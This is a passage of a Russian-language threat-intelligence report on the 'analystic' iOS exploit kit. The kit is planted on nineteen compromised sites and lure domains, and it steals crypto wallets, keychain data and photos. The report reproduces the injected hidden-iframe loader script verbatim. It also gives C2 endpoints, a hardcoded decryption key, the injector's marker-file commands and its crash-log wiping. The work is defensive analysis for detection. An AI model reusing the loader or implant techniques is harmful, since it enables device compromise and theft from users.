TLP:CLEAR

ОТЧЁТ ОБ ИНЦИДЕНТЕ

DarkCoruna «analystic»: iOS-эксплойт-кит на взломанных сайтах и его нативный менеджер нагрузок

iOS Exploit Chain • Drive-by • Взломанные сайты • Кража криптокошельков • DarkCoruna • Киберкриминал

Параметр	Значение
Дата анализа	**20 октября 2026**
Классификация	**Drive-by iOS-эксплойт-кит (Coruna + DarkSword) на взломанных сайтах и приманках; кража кошельков, keychain и фотографий; нативный менеджер нагрузок**
Уровень угрозы	**ВЫСОКИЙ**
Актор	**Кластер «qqtime» / P7 из нашего отчёта от 10 октября 2026: китаеязычный, финансово мотивированный (уверенность средне-высокая)**
Участие государства	**Признаков нет**
ВПО	**Цепочка DarkSword с имплантом P7 (сборка 20260914-aks40); загрузчик Coruna; CorePayloadManager (нативный менеджер нагрузок); нативный загрузчик «x01»**
Цели	**iPhone на iOS 18.1.1 / 18.4 – 18.6.2 и iOS 13 – 17.2.1; посетители приманок на темы криптовалют, знакомств и азартных игр и девятнадцати взломанных легитимных сайтов**
Затронутые системы	**iOS 18.1.1 (22B91), 18.4 – 18.6.2 (22E240 – 22G100) на устройствах A12 – A18; iOS 13 – 17.2.1 (Coruna)**
Исправлено в	**Все эксплуатируемые уязвимости закрыты в iOS 18.7.2 – 18.7.3 и 26.1 – 26.3; оффсетов для iOS 18.7 и 26 в ките нет**
CVE	**CVE-2025-31277, CVE-2025-43529, CVE-2026-20700, CVE-2025-14174, CVE-2025-43510, CVE-2025-43520 (DarkSword, без изменений); публичная цепочка Coruna**
Источники	**Публичные образцы MalwareBazaar (19 октября 2026); публичные сканы urlscan.io и сохранённые тела; только статический анализ**

1. Краткое заключение

10 октября 2026 года мы описали «P7» — криминальный вариант утёкшей iOS-эксплойт-цепочки DarkSword — и кластер «qqtime», который раздаёт его с китаеязычных приманок-казино и крипто-страниц. 19 октября 2026 года та же операция всплыла в публичных базах вредоносного ПО в новом виде: полный кит, названный «analystic» по имени каталога, который он занимает на взломанных веб-серверах, выложил в MalwareBazaar участник под псевдонимом, а часть файлов — vxunderground. Мы статически разобрали все 27 файлов, восстановили живую цепочку доставки и её распространение по публичным данным urlscan.io и дизассемблировали два из трёх нативных бинарников Mach-O из набора. Ни к одному хосту злоумышленника мы не обращались, ни один образец никуда не отправляли.

Кит — это одна страница, group.html, которая определяет версию iOS посетителя и загружает одну из двух эксплойт-цепочек: публичную цепочку Coruna для iOS 13 – 17.2.1 и DarkSword для iOS 18.1.1 и 18.4 – 18.6.2. Ветка DarkSword заканчивается имплантом P7 сборки 20260914-aks40, который отчитывается новому командному серверу btrf36[.]cc. Новое — в двух вещах. Во-первых, операция больше не опирается только на собственные домены-приманки: кит подброшен на взломанные легитимные сайты — интернет-магазины и корпоративные сайты в одиннадцати странах, от Италии и Франции до Чили, ОАЭ и России, — где внедрённый скрипт загружает его в скрытом iframe каждому посетителю. Во-вторых, в наборе есть нативные компоненты этой операции, которых мы прежде в открытом доступе не видели: менеджер нагрузок, который скачивает с командного сервера шифрованные модули, проверяет их и внедряет в системные демоны и в запущенные приложения-кошельки.

Ключевые выводы:

- Та же операция, следующая сборка. Загрузчик Coruna в ките токен-в-токен совпадает с загрузчиком, который в сентябре раздавал cdn.gotoiphone[.]com (тот же обфускатор, та же соль cecd08aa6ff548c2); бандл импланта делит 82 % токенов и 83 % строк с бандлом P7 от 29 сентября, разобранным 10 октября; два модуля побега из песочницы на 99 % идентичны модулям сентябрьского кита DarkSword из фида MalwareBazaar. Партнёрский код канала оставлен пустым, а командный сервер теперь подставляется при упаковке («pack_frontend replaces btrf36.cc»): кит собирается конвейером, а не правится вручную.
- Более компактная цепочка для iOS 18. Для iOS 18.1.1 и 18.6 – 18.6.2 «прямой» воркер в 545 КБ несёт эксплойт JavaScriptCore внутри себя; остальные версии 18.x получают отдельный воркер примитивов в 45 КБ и эксплойт в 182 КБ. Таблицы оффсетов покрывают семь сборок, 22B91 и 22E240 – 22G100, на моделях от iPhone XS/XR до iPhone 16 и 16e (A12 – A18). Ничто в ките не нацелено на iOS 18.7 или iOS 26.
- Имплант «сначала кошелёк». Агент P7 теперь ищет 45 идентификаторов бандлов примерно двадцати приложений кошельков и бирж (среди них MetaMask, Trust Wallet, Coinbase, OKX, Binance, Bitget, Bybit, Tonkeeper, imToken, SafePal, TokenPocket, Exodus, Phantom, Solflare, Uniswap и TronLink). Гейт «wallet hit» решает, выгружать ли вообще keychain и фотобиблиотеку; новый зонд «KokCore» собирает миниатюры фотографий размером 1 – 512 КБ.
- Нативный менеджер нагрузок. Две dylib, представляющиеся как /usr/lib/system/libsystem_featureflags.dylib — «CorePayloadManager», arm64 и arm64e, собранные Xcode 26 и подписанные ad hoc, — получают шифрованную конфигурацию с командного сервера, скачивают модули, внедряют модуль «core» в системный демон, а модули по приложениям — в кошельки в момент их запуска, удаляют журналы сбоев, которые при этом возникают, и принимают команды через файлы-маркеры. Командный сервер зашит в бинарник. Метка «iOS < 18», поставленная загрузившим, верна в лучшем случае частично: сборка arm64e относится к цепочке iOS 18 на устройствах A12 и новее.
- Два слоя распространения. Первый — собственный, операторский: фермы одноразовых поддоменов-приманок, китайские SEO-двойники сайтов загрузки 7-Zip и HaoZip, приманки на

темы криптовалют, знакомств, азартных игр и «безопасности кошельков» — более 200 публичных сканов загрузчика Coruna и 69 доменов с загрузчиком для iOS 18 с середины сентября. Второй слой новый: девятнадцать взломанных легитимных сайтов, где кит лежит в подброшенном каталоге (analystic/assets/js/ внутри /js/, /img/, /wp-includes/js/ или в каталоге модуля CMS) и загружается инлайновым скриптом в 300 байт, добавленным в шаблон страницы.

- По-прежнему финансовая преступность. Приманки, цели, комментарии на китайском языке и гонконгский облачный хостинг указывают туда же, что и в октябре. Признаков государственного заказа нет. Владельцы взломанных сайтов уведомлены 20 октября 2026 года через abuse-службы их хостинг-провайдеров; сайты здесь не называются.

2. Предыстория

2.1. С чего начинается этот отчёт

DarkSword — полная JavaScript-эксплойт-цепочка для iOS 18, которую Google Threat Intelligence Group задокументировала в марте 2026 года в руках трёх заказчиков шпионского профиля; 22 марта 2026 года одна сборка утекла на GitHub, и цепочка ушла в криминал. Coruna — более старая цепочка для iOS 13 – 17.2.1, утёкшая раньше и тоже публичная. Термин iVerify «DarkCoruna» описывает развёртывания, которые раздают обе цепочки с одной страницы, покрывая все iPhone от iOS 13 до 18.7; со стороны DarkSword этот кит покрывает 18.1.1 и 18.4 – 18.6.2. Наш отчёт от 10 октября 2026 года «DarkSword P7: утёкшая iOS-эксплойт-цепочка на службе кражи криптокошельков» разобрал имплант P7 — переписанный командный агент плюс стадия расшифровки keychain, использующая AppleKeyStore устройства как оракул, — и проследил его кластер доставки «qqtime» до июля 2026 года. Тот отчёт, его индикаторы и YARA-правила остаются в силе; этот добавляет то, что изменилось за следующие десять дней.

2.2. Выкладки 19 октября

19 октября 2026 года в 17:26 UTC vxunderground опубликовал четыре файла, снятые из каталога /js/analystic/assets/js/ одного из взломанных сайтов: диспетчер group.html, загрузчик Coruna 49554fde7424c31c.js, загрузчик DarkSword b8def7dab9dd9ad8.js и beacon-скрипт a8c3f01e6b47d295.js. Между 20:30 и 21:10 UTC участник MalwareBazaar под псевдонимом (ник «Darkfibr», тег 0xf00dbeef) выложил 27 файлов с тегами analystic, Coruna, DarkSword, GHOSTBLADE (имя библиотеки импланта из утёкшего кита; см. наш отчёт от 10 октября) и P7: те же четыре файла, пересохранённые с другими переводами строк, цепочку iOS 18 (два воркера, эксплойт, два побега из песочницы и бандл повышения привилегий с имплантом — шесть файлов), четырнадцать обфусцированных стадий Coruna и три бинарника Mach-O. Командный сервер btrf36[.]cc был просканирован через urlscan.io в 21:06 UTC, в тот же час, что и выкладки; именно из этого скана его IP-адрес стал публичным. Ни «Darkfibr», ни тег ранее нигде не встречались; мы относимся к выкладкам как к тому, что они есть — снимку живого кита, — и сверили каждый файл с опубликованным хешем.

На момент написания JavaScript-стадии имеют четыре детекта из 36 на VirusTotal (общий «Script-JS.Exploit.Heuristic»), файлы Mach-O — ни одного. К 20 октября оператор на публикацию не отреагировал: взломанные сайты по-прежнему раздавали кит, и в этот день их владельцы были уведомлены.

3. Объём и метод

Весь материал получен пассивно:

- MalwareBazaar: 27 выложенных файлов и архив vxunderground, скачанные через публичный API и сверенных по SHA-256 после распаковки. Анализ только статический — строки, регулярные выражения, YARA, разбор заголовков Mach-O и дизассемблирование radare2 — в изолированной лабораторной системе. Ни один файл не исполнялся, ничего не отправлялось сторонним сервисам.
- urlscan.io: публичный поиск по имени файла, хешу тела и URL страницы; для каждого домена размещения — одна сохранённая запись скана; тела ответов, полученные по хешу, — для восстановления шаблонов страниц и сравнения файлов «с провода» с опубликованными образцами. Цепочки инициаторов из записей сканов (какой скрипт создал какой запрос) использованы, чтобы найти точку внедрения на взломанных сайтах.
- VirusTotal: только поиск по хешу, для счётчиков детектов.
- Открытые публикации iVerify, Google Threat Intelligence Group и Censys, а также утёкший исходный код Coruna — для сравнения происхождения.

Мы не подключались ни к одному хосту злоумышленника, не сканировали ни один сайт и ничего не забирали с самих взломанных сайтов. Там, где в отчёте цитируется внедрённый скрипт, он цитируется по сохранённой копии страницы в urlscan.

4. Находка 1: кит

4.1. Диспетчер

group.html (1 551 байт, SHA-256 b4290d69…) загружается в скрытом iframe. Он всегда подключает beacon a8c3f01e6b47d295.js, читает мажорную версию iOS из user agent и загружает 49554fde7424c31c.js (Coruna), если версия ниже 18, и b8def7dab9dd9ad8.js (DarkSword) в противном случае. Два замка не дают повторять попытки: sessionStorage._x_nav на восемь секунд, пока цепочка работает, и localStorage._x_done, который ставится, когда эксплойт сработал или страница сделала редирект; ?force=1 в URL их сбрасывает. Те же замки под теми же именами были в сборке mzpo30[.]cam, описанной iVerify.

Beacon (781 байт) запускается только при user agent iPhone и iPad и отправляет {"k":1,"n":"<имя хоста страницы>"} на hxxps://btrf36[.]cc/hx через sendBeacon или XMLHttpRequest. Его строки XOR-кодированы. Это перепись носителей (носитель — любой сайт, раздающий кит, будь то приманка или взломанный сайт): оператор по имени хоста узнаёт, какие из его сайтов посещают, ещё до запуска какого-либо эксплойта.

4.2. Ветка iOS 18

Файл	SHA-256 (префикс)	Размер	Роль
b8def7dab9dd9ad8.js	2e443833…	8 209 Б	Загрузчик: гейт по версии, запуск воркера, замок успеха (китайский комментарий: «замок успеха: пишется, когда получен sbx0 или при редиректе»), редирект на /404.html
e1105852cab6ef49.js	5856c2c5…	545 191 Б	«Прямой» воркер для iOS 18.6, 18.6.1, 18.6.2 и 18.1.1: эксплойт JavaScriptCore встроен, примитивы памяти, обход PAC (аутентификации указателей), перехват dlopen; забирает sbx0
455b474ef0843d25.js	37efaa42…	85 Б	Заглушка, которую прямая ветка забирает вместо файла эксплойта (в выкладке её нет; снята с действующего

			носителя в октябре)
8150b44e89f06890.js	df86db89…	45 333 Б	Воркер примитивов для остальных сборок iOS 18.x (80 % общих токенов с rce_worker_18.4.js сентябрьского кита из фида MalwareBazaar)
a13e3e4525e28ff8.js	3196034e…	182 339 Б	Эксплойт JavaScriptCore (выход за границы массива через сеттеры Array.prototype) с таблицами оффсетов по сборкам и устройствам
717d3ef037488de5.js	9c7f86f2…	425 869 Б	sbx0: побег из WebContent в GPU-процесс (AGX, IOSurface, RemoteRenderingBackend), восемь логируемых стадий
e698499e769d1643.js	6db7114e…	324 817 Б	sbx1: повышение привилегий через mediaplaybackd (XPC / mach_msg), пути для A12 и не-A12; забирает PE-бандл
e0e65d55905b9342.js	da3fe94a…	911 288 Б	PE-бандл (privilege escalation, повышение привилегий): эксплойт ядра, обход фильтра MIG (интерфейс Mach), имплант P7 (раздел 5)

Стадии забираются как <имя>.js?<метка времени> относительно каталога загрузчика, так что каждый носитель хостит всю цепочку сам. В воркерах есть и альтернативный шифрованный режим: с сессионным токеном стадии запрашиваются как host/res/<сессия>/<хеш> и расшифровываются в воркере («L1 decrypt»). Модель устройства выводится из адреса pthread_create в разделяемом кэше

(таблица соответствия адреса LINKEDIT модели); идентификаторы чипсетов — MD5-подобные константы, общие с более ранними сборками кластера.

Поддерживаемые цели заданы явно: iOS 18.1.1 (22B91), 18.4 (22E240), 18.4.1 (22E252), 18.5 (22F76), 18.6 (22G86), 18.6.1 (22G90) и 18.6.2 (22G100) на iPhone11,2 – iPhone17,5. Кит P7 от 29 сентября ещё содержал воркер для iOS 18.6 – 18.7; этот кит останавливается на 18.6.2. Оффсетов для 18.0 – 18.3, 18.7 и 26 нет: устройство на одной из этих версий проходит через эту страницу без вреда, что ничего не говорит о его уязвимости к другим китам.

4.3. Ветка Coruna

49554fde7424c31c.js (47 603 байта; 47 604 с UTF-8 BOM, с которым его раздавал взломанный сайт) — это загрузчик Coruna, описанный нами в октябре: обфускатор obChTK, таблица модулей по хешу, модули под именами SHA-256(соль + имя) с солью cecd08aa6ff548c2, пороги версий iOS 13.0 и 16.0. Поиск в urlscan по хешу тела «с провода» даёт 88 сканов с 23 июля 2026 года, а три варианта того же имени файла (50 – 55 КБ) раздают центральные хосты ферм приманок. Четырнадцать файлов «remote stage» из выкладки, названные по SHA-1, — обфусцированные эксплойт-стадии этой цепочки (строки декодируются на лету из XOR-массивов байт). Одну из них в июле – августе 2026 года раздавали приманки qqtime; другая встречается в 75 публичных сканах по фермам двойников. Их происхождение — утёкший исходный код Coruna (эксплойт-стадии для iOS 15.2 – 17.2.1); собственные пороги загрузчика — 13.0 и 16.0, и что получает устройство на iOS 13.0 – 15.1, мы не проверяли. Сами эксплойты мы дальше не разбирали.

5. Находка 2: имплант, сборка 20260914-aks40

PE-бандл — сборка webpack. По сравнению с бандлом P7 от 29 сентября, разобранным в октябре (SHA-256 57c39976…), общие 82 % токенов и 83 % строк, 331 общий строковый литерал: та же кодовая база, следующая версия. Правило Google G_Hunting_DarkSwordExploitChain_ImplantLib_FilePaths_1 и наше правило P7_DarkSword_C2Agent_Strings срабатывают на нём. Сборку описывают три константы в заголовке агента:

- PE_BUILD = "20260914-aks40" — бандл собран 14 сентября 2026 года. Кит с этим набором файлов уже раздавался с mining-game[.]online 13 сентября (загрузчик и воркеры в публичном скане того дня), а 16 сентября там был захвачен бандл точно того же размера (911 288 байт), но с другим хешем — что согласуется с упаковкой под носитель, впечатывающей другой хост в ту же сборку.
- PE_HQ_BASE = "https://btrf36.cc" с комментарием «pack_frontend replaces btrf36.cc -> data_host». Командный сервер вписывает в бандл инструмент упаковки при сборке. Заголовок по-прежнему описывает серверную часть как «command.py» и «server.py» — приложение на Python, как и в октябре.
- C2_CHANNEL_CODE = "" — партнёрский код канала, который сентябрьская сборка отправляла с каждым запросом, пуст. Либо это собственное развёртывание оператора, либо канал теперь опознаётся на сервере по имени хоста-носителя, которое сообщает beacon.

5.1. Командный протокол

Транспорт не изменился с P7: HTTP/1.0 поверх CFStream с отключённой проверкой сертификата, зашитый user agent «iPhone OS 18_5», multipart-граница ------HqBound и эндпоинты /beacon (задания), /result, /heartbeat и /x (регистрация устройства). Конвейер эксфильтрации перестроен вокруг кошельков: /a (подтверждение), /u (гейт выгрузки), /p (сначала пакет кошелька), затем /qq (keychain и кошелёк, потом фотографии) с заголовками X-Ts и X-Inner-Content-Type. Гейт wallet_hit принимает значения −1, 0 и 1; дамп keychain и фото-зонд выгружаются, только когда wallet_hit равен 1 — в комментариях кода: «bandwidth: wallet_hit=1 only». Устройство без целевого кошелька не стоит оператору ни байта трафика выгрузки.

5.2. Цели и сбор

Агент перебирает контейнеры приложений и сопоставляет 45 идентификаторов бандлов примерно двадцати приложений (BitKeep — прежнее имя Bitget Wallet): io.metamask.metamask, com.sixdays.trust, com.coinbase.coinbasewallet и org.toshi.distribution, com.okx.wallet и com.okex.okexappstorefull, три идентификатора Binance, три — Bitget, com.bybit.app, два — Tonkeeper, com.tonhub.app, org.mytonwallet.app, im.token.app, SafePal (с отдельным путём «safepal_bio»), com.tokenpocket.1, два — Bitpie, com.bitkeep.os, com.exodusmovement.exodus, Phantom, com.solflare.mobile, com.uniswap.mobile, два — TronLink, com.kyrd.krystal.ios и два — Sky Mavis. По каждому совпадению он собирает документы контейнера, базы React Native AsyncStorage, а для imToken — keystore и пароль к нему из keychain (процедура _findImtokenKeychainPassword из P7). Конвейер keychain — скопировать keychain-2.db и keybag’и в /tmp, расшифровать через securityd и AppleKeyStore, записать /tmp/keychain_c2_dump.json и маркер .done — это «фаза 2» P7 из октябрьского отчёта.

Новое в этой сборке — фото-зонд с меткой KokCore (функции photo_probe и kok_collect_full_directory_scan): он обходит /private/var/mobile/Media/PhotoData/Thumbnails и каталоги CPLAssets и собирает изображения размером от 1 до 512 КБ — миниатюры, достаточно маленькие,

чтобы выгружать их массово, и достаточно большие, чтобы прочитать сфотографированную seed-фразу на бумаге. Обработчик обновлений есть, но «отключён, пока не готово закрепление»: имплант по-прежнему живёт только до перезагрузки.

Библиотека эксплойта ядра выбирает оффсеты по мажорной и минорной версии XNU и содержит явный «ugly hack to support 17.7, 17.7.1 and 17.7.2» для сборок 21H16, 21H216 и 21H221 — поддержка, унаследованная от утёкшего кода; пути, которым эта библиотека достигалась бы на iOS 17 в этом ките, мы не видели. Бандл пишет ход работы в /tmp/pe_worker_trace.log, /tmp/p7_debug.log и /tmp/c2_wallet_debug.log и отмечает попадания по кошелькам в /tmp/pe_wallet_hit_bundles.json; его логгер пишет также /private/var/mobile/Media/PostLogs.txt.

6. Находка 3: нативные компоненты

Каждый публичный образец этой операции, который мы видели прежде, был на JavaScript. В наборе от 19 октября три бинарника Mach-O. Все три без символов; ни один не значится на VirusTotal под именем семейства.

6.1. CorePayloadManager

Две динамические библиотеки, child_667fa543.dylib (arm64, 420 896 байт, SHA-256 b0a7077b…) и child_a159973e.dylib (arm64e, 668 480 байт, SHA-256 a436ac96…), имеют общее имя установки /usr/lib/system/libsystem_featureflags.dylib — имя настоящей библиотеки Apple, выбранное, чтобы модуль выглядел легитимно в списке образов процесса. Идентификатор подписи кода — CorePayloadManager-55554944 плюс UUID библиотеки; подпись ad hoc. Обе собраны с SDK iOS 26.0 и линковщиком 1221.4.0 (Xcode 26), то есть релизным набором инструментов сентября 2025 года или новее, с минимальной ОС iOS 15. В сборке arm64e остались пути исходников вида /Users/<пользователь>/Project/iOSC2/native-src/CorePayloadManager/vendor/plzma/…: разработчик называет проект «iOSC2». Обе экспортируют две функции, _startx и _startp, и содержат встроенную библиотеку libplzma (7z, xz, LZMA, AES-256-CBC). Чувствительные строки — хост, путь, ключ, заголовки, цели внедрения, файлы блокировки и команд — XOR-кодированы байтом 0x5A; мы декодировали их по точным парам «смещение, длина», которые использует код. Ключи конфигурации, пути кэша и хранилища и диагностика внедрения оставлены открытым текстом. Мы не запрашивали config.bin и модули с сервера: значения ниже приведены для детектирования и расшифровки перехваченного трафика, а не для взаимодействия с инфраструктурой атакующего.

Коротко: это загрузчик второй стадии. Всё, что он исполняет, приходит с командного сервера шифрованными модулями; он умеет поместить нативный код в собственный процесс приложения-кошелька в момент, когда пользователь его открывает; закрепления на загрузку у него нет — как и имплант, он живёт до перезагрузки.

_startx — основной цикл. Он принимает структуру контекста с колбэками хоста — чтение, запись, поиск символа, примитивы инъекции, — то есть библиотека несамостоятельна: её загружает и снабжает примитивами имплант, уже имеющий привилегии ядра после цепочки iOS 18. Сборка arm64e соответствует цепочке iOS 18 на устройствах A12 и новее; сборка arm64 не может быть загружена в arm64e-демоны этих устройств и, вероятнее всего, обслуживает более старые устройства через ветку Coruna, нативный загрузчик которой (раздел 6.2) тоже даёт нативное исполнение. Поэтому метка «iOS < 18», поставленная загрузившим, верна в лучшем случае частично. Последовательность такова:

- Взять эксклюзивную блокировку /tmp/com.apple.analyticsd.lock (flock, без ожидания); если её держит другой экземпляр — спать вечно.
- Удалить журналы сбоев с именами locationd, powerd и wifid из /var/mobile/Library/Logs/CrashReporter/, /var/logs/CrashReporter/ и /var/root/Library/Logs/CrashReporter/ — то есть журналы тех демонов, в которые сейчас будет внедрение, — улики, которые оставила бы неудачная инъекция.
- Получить hxxps://btrf36[.]cc:443/api/v1/cpm/config.bin через CFNetwork с отключённой проверкой сертификата и с учётом системного прокси, с фиксированным user agent «Mozilla/5.0 (iPhone; CPU iPhone OS 15_0 like Mac OS X)» и заголовками «X-Client-Id: 7f3a9c2b8e1d4f6a0b5c7e9d2f4a6b8c» и «Connection: close». Имя хоста btrf36.cc — 64-байтовая XOR-кодированная константа в обеих сборках; порт 443.

- Расшифровать ответ зашитым ключевым материалом abf3bdc8e239c0f3183c257f9ccc23e8 (hex-декодируется в 16 байт, которые библиотека разворачивает в ключ поточного шифра семейства Salsa20/ChaCha20 — константа «expand 32-byte k»; само разворачивание мы до конца не разбирали) и закэшировать в /tmp/com.apple.nsurlsessiond/fsCachedData<16 hex-символов SHA-256("netconfig_cache_seed_v7")>; при недоступности сервера используется кэш. Конфигурация — JSON: settings (configRefreshInterval 600, heartbeatReportInterval 600, minPingIntervalPerDomain 30, validationCacheTTL 300), core {url, sha256} и entries [{bundleId, sha256, size, doNotCloseAfterRun, requiresColdStart}].
- Скачать каждый модуль (до семи попыток, задержка 2 – 300 с), сверить его SHA-256 с конфигурацией и сохранить как /tmp/cpm27stor/<SHA-256 имени модуля>.bin в каталоге с правами 0700.
- Внедрить модуль «__core__» в процесс, указанный в конфигурации — locationd по умолчанию, powerd в пути инициализации, — найдя его экспорт _entry_main и вызвав его под защитой sigsetjmp от SIGSEGV и SIGBUS; диагностические строки — inject-fn-raw, inject-jit-switch-sig и inject-CRASHED-at. Поток-приёмник, переименованный в com.apple.cfnetwork.dispatch, считает Mach-сообщения «UNHEALTHY» от модуля и после порога перезагружает его из хранилища.
- Для каждой записи entries отдельный поток ищет целевое приложение по имени через sysctl KERN_PROC_ALL, ждёт его запуска до двадцати секунд (requiresColdStart: кошелёк внедряется при старте), снимает файл блокировки и внедряет модуль. Неудачи повторяются с той же задержкой.

_startp — надзорный цикл с периодом десять секунд. На каждом цикле он открывает TCP-соединение к 127.0.0.1:8888, пишет четыре байта (01 00 04 00) и закрывает его — вероятно, keep-alive к слушателю в импланте-хосте; затем проверяет stat() четырёх файлов-маркеров: /tmp/.launchd_db_stop, /tmp/.launchd_db_reload и /tmp/.launchd_db_purge — команды (удаляются после обработки), а /tmp/.com.apple.nsurlsessiond.cache — точка «горячей» подмены: если файл появился, он читается, в нём ищется экспорт _startu, который вызывается через колбэки хоста, и файл удаляется. Раз в несколько циклов повторяется чистка журналов сбоев.

Чего в библиотеке нет — закрепления. Нет plist LaunchDaemon и нет крючка на загрузку; путь /System/Library/CoreServices/powerd.bundle/powerdlocationd среди XOR-кодированных строк — имя для подброшенного файла (такого бинарника Apple не существует), а не точка автозапуска. Как и имплант, менеджер нагрузок живёт до перезагрузки — но с ним оператор может внедрить нативный код в собственный процесс приложения-кошелька в момент, когда пользователь его открывает, а это качественно иная возможность, нежели копирование файлов.

6.2. Нативный загрузчик ветки Coruna

99d0_decompressed_start256.bin (90 112 байт, SHA-256 6d522977…) — arm64 dylib с именем установки «x01», собранная под SDK iOS 13.0 линковщиком 2022 года, с единственным экспортом _process. Её строки описывают рефлективный загрузчик: проверить /usr/libexec/corelliumd (агент платформы виртуализации Corellium), прочитать версию продукта и строку версии ядра, скачать нагрузку по HTTP с user agent «MobileStore/1.0», расшифровать (снова константа «expand 32-byte k»), распаковать через libcompression, отобразить в память через mmap и vm_protect, сбросить кэш инструкций и передать управление; ошибки сообщаются серверу как {"e":<код>,"l":<строка>} и как команды logmsg. Адреса сервера в бинарнике нет — его передаёт JavaScript-стадия, в которую эта библиотека встроена (имя файла указывает, что он вырезан из такой стадии со смещения 256). Это нативный конец цепочки Coruna для iOS 13 – 17.

7. Находка 4: распространение

7.1. Инфраструктура приманок

Поиск в urlscan по имени файла загрузчика Coruna возвращает более 200 публичных сканов (предел выдачи) как минимум на 82 доменах — включая взломанные сайты, поскольку их диспетчер тоже загружает этот файл. Масштаб промышленный:

- Фермы одноразовых поддоменов за Cloudflare — bgp09[.]icu, bgp34[.]sbs, bgp36[.]sbs, bgp51[.]sbs, bgp63[.]sbs — со страницей «Account Security Compliance Check» на английском, немецком и испанском, загружающей кит с tudou001.usdtio[.]cc (сентябрь – 20 октября 2026).
- Около пятидесяти поддоменов buytrx-ins[.]com («InsPay»), многие с одноразовыми именами, хостящих кит у себя в /css/good/.
- 29 китайских поисковых двойников сайтов загрузки 7-Zip, HaoZip и «Danzipaidui» в зонах .com.cn и .hl.cn (например 7zip-download[.]com[.]cn, haozip-hub[.]com[.]cn, danzipaiduiguanfu[.]com[.]cn), зарегистрированных двумя партиями в сентябре и октябре и загружающих кит с gewc61[.]cc.
- Центральные хосты кита: i0s[.]io (/web/), tudou001 и fh001.usdtio[.]cc, 092ak[.]top (/mgu/, для набора доменов-приманок «VELNORA»), случайные поддомены pifilubihu[.]shop, chainvex[.]cam (его встраивают страницы Google Sites под видом «ethereum market analysis»), afazxcr[.]xyz, yc.d-j[.]cc и ja.a-j[.]cc, xinyea[.]cc, chunfe[.]cc, t.yookme[.]cc, bb.ttyyk[.]shop, IP-адрес без доменного имени 38.190.222[.]108 (/gooll/), www.7-11[.]help — и ios.hdios[.]cn, хост инфраструктуры hdios[.]cn, описанной Censys в июле и октябре 2026 года, который 22 сентября раздавал этот загрузчик приманке под Coinbase Wallet.

Загрузчик iOS 18 моложе: 88 сканов на 69 доменах, первый — 13 сентября 2026 года на mining-game[.]online; носители-приманки идут с 28 сентября. Его носители — тематические приманки: «Wallet Security Manual», «coingateAI», «TRX Rewards», двойник KuCoin, двойники Rollbit и RootData, страницы знакомств и «исследований аирдропов», рынок предсказаний, магазины восстановленных телефонов и VPN — на Alibaba, CloudValley, Zenixcloud, CDN77 и IONOS, большинство созданы за две недели до сканирования.

7.2. Взломанные сайты

Девятнадцать легитимных сайтов раздают тот же кит из каталога, который злоумышленник создал на их сервере: в большинстве случаев /js/analystic/assets/js/, на сайте WordPress — /wp-includes/js/analystic/assets/js/, на магазине за Cloudflare — /img/analystic/assets/js/, на сайте PrestaShop — /modules/welcome/js/front/assets/js/, где внедрение отдаётся из подброшенного assets.php. Это небольшие интернет-магазины и сайты компаний в одиннадцати странах Европы, Америки, Ближнего Востока и Северной Африки, размещённые у ряда крупных европейских и американских хостинг-провайдеров и облачных платформ. Самый ранний публичный скан с китом на одном из них — 5 октября 2026 года; большинство впервые просканированы между 12 и 19 октября.

Внедрение везде одинаковое. В шаблон страницы — в HTML ближе к концу body, иногда в минифицированном виде — добавлен скрипт примерно в 300 байт, который через 1,5 секунды после загрузки страницы создаёт невидимый iframe, указывающий на подброшенный каталог:

```
(function(){function l(){var f=document.createElement('iframe');f.src='/js/analystic/assets/js/group.html';f.style.cssText='width:0;height:0;border:none;position:absolute;top:-9999px;opacity:0;pointer-events:none';document.body.appendChild(f);}if(document.readyState==='complete'){setTimeout(l,1500);}else{window.addEventListener('load',function(){setTimeout(l,1500);});}})();
```

Поскольку iframe создаётся после окончания загрузки страницы, его нет в DOM-снимке, снятом в момент загрузки; внедрение видно только в журнале запросов (запрос документа group.html

инициирован инлайновым скриптом страницы) или в сыром HTML. Кит, таким образом, раздаётся с собственного домена (origin) сайта-жертвы, с его собственным сертификатом, каждому посетителю — а beacon потом сообщает оператору, какой сайт доставил какое устройство. Мы впервые видим кластер qqtime на взломанных чужих сайтах: его прежние развёртывания использовали собственные домены оператора или размещённую страницу-роутер.

Владельцы уведомлены 20 октября 2026 года через abuse-службы их хостинг-провайдеров (или их регистраторов там, где за CDN хостинг-провайдера определить не удалось) — по одному уведомлению на сайт с публичной записью скана, точкой внедрения и подброшенным каталогом. Сайты в этом отчёте не называются и в списки индикаторов не входят.

7.3. Где зафиксированы поздние стадии

Эксплойт-стадии дальше загрузчика закрыты гейтом по user agent iOS 18 и редко попадают в публичные сканеры. urlscan хранит их с двух хостов: mining-game[.]online (Hostinger; 19 сканов с 13 по 16 сентября 2026 года, включая побайтно идентичный sbx1 и PE-бандл того же размера) и www.tavonexia[.]com (приманка «частные острова» за Cloudflare; 20 октября 2026 года, прямой воркер и вариант beacon). Эксплойт JavaScriptCore этого кита также раздавался под другим именем файла с mobile.mumuheliio[.]com. Эти три хоста, командный сервер и центральные хосты кита — блокируемое ядро операции; домены-приманки ротируются.

8. Оценка атрибуции

Мы оцениваем со средне-высокой уверенностью, что кит «analystic» управляется кластером qqtime, который стоит за P7: загрузчик Coruna — та же сборка с той же солью; имплант — следующая версия того же бандла; побеги из песочницы на 99 % идентичны модулям сентябрьского кита из фида MalwareBazaar, которыми пользовалась и сборка P7; темы приманок, китайские комментарии в коде, адрес командного сервера в Alibaba Cloud Гонконг и преимущественно гонконгский и китайский хостинг ферм не изменились. Изменилась зрелость: инструмент упаковки, который впечатывает командный сервер в бандл, нативный менеджер нагрузок с собственным протоколом, управляемый конфигурацией, и канал распространения, больше не зависящий от собственных доменов оператора.

Мотив не изменился. Всё, что собирает имплант, продаётся или тратится: keystore кошельков, элементы keychain, которые их открывают, и фотографии, достаточно маленькие, чтобы быть резервными копиями seed-фраз. Признаков участия государства мы не находим. Сами эксплойт-цепочки были государственного уровня до утечки; люди, которые запускают этот кит, используют публичные эксплойты с частным имплантом.

Два замечания об источниках. Участник MalwareBazaar скрыт за псевдонимом и не указал происхождение 23 файлов, которых не было в захвате vxunderground; имена файлов и скан командного сервера в urlscan в тот же час указывают, что они получены из действующего развёртывания кита. Мы использовали их как образцы, а не как свидетельство чего-либо сверх их содержимого. А имя проекта «iOSC2» и имя пользователя в пути сборки — артефакты сборки: они идентифицируют машину разработчика, а не человека, и как атрибуцию мы их не рассматриваем.

9. Обнаружение

9.1. В вебе и в сети

